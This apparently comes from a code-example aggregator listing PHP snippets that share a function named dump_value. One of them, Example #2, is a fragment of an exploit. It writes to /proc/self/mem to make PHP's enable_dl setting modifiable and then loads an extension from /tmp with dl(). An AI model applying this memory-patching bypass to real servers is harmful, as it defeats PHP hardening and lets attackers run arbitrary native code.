Example #1
0
function dump_value($value)
{
    if (is_object($value)) {
        return get_class($value) . ' object';
    } else {
        if (is_array($value)) {
            if (is_associative($value)) {
                $ret = array();
                foreach ($value as $key => $value) {
                    $ret[] = dump_value($key) . ' => ' . _dump_inner_value($value);
                }
                return '{' . implode(', ', $ret) . '}';
            } else {
                return '[' . implode(', ', array_map('_dump_inner_value', $value)) . ']';
            }
        } else {
            return var_export($value, true);
        }
    }
}
Example #2
0
             ini_set('enable_dl', true);
             printf("try to get enable_dl value by ini_get\r\n");
             var_dump(ini_get('enable_dl'));
             printf("try to run dl() function\r\n");
             dl('not_exists');
             printf("try to modifiy the modifiable member in memory!\r\n");
             fseek($mem, $pdata + 4);
             $modifiable = dump_value($mem, 4);
             printf("org modifiable value is %x\r\n", $modifiable);
             $mem_w = fopen("/proc/self/mem", "wb");
             fseek($mem_w, $pdata + 4);
             //seek to modifiable
             fwrite($mem_w, packli(7));
             //check
             fseek($mem, $pdata + 4);
             $modifiable = dump_value($mem, 4);
             printf("now modifiable value is %x\r\n", $modifiable);
             printf("try ini_set enable_dl agen!!!!\r\n");
             ini_set('enable_dl', true);
             printf("now enable_dl seting is\r\n");
             var_dump(ini_get('enable_dl'));
             printf("retry the dl() function!!!!\r\n");
             ini_set('extension_dir', '/tmp');
             dl('not_exists');
             exit(0);
         }
         //seek to struct bucket *pListNext; ready to read next bucket's address
         fseek($mem, $bucket + 32 + 8);
         //struct bucket *pListLast;  it's so strage!
     }
 }
<?php

define("VAL", true);
function dump_value($val = VAL)
{
    var_dump($val);
}
dump_value(123);
dump_value();
// should update $val with true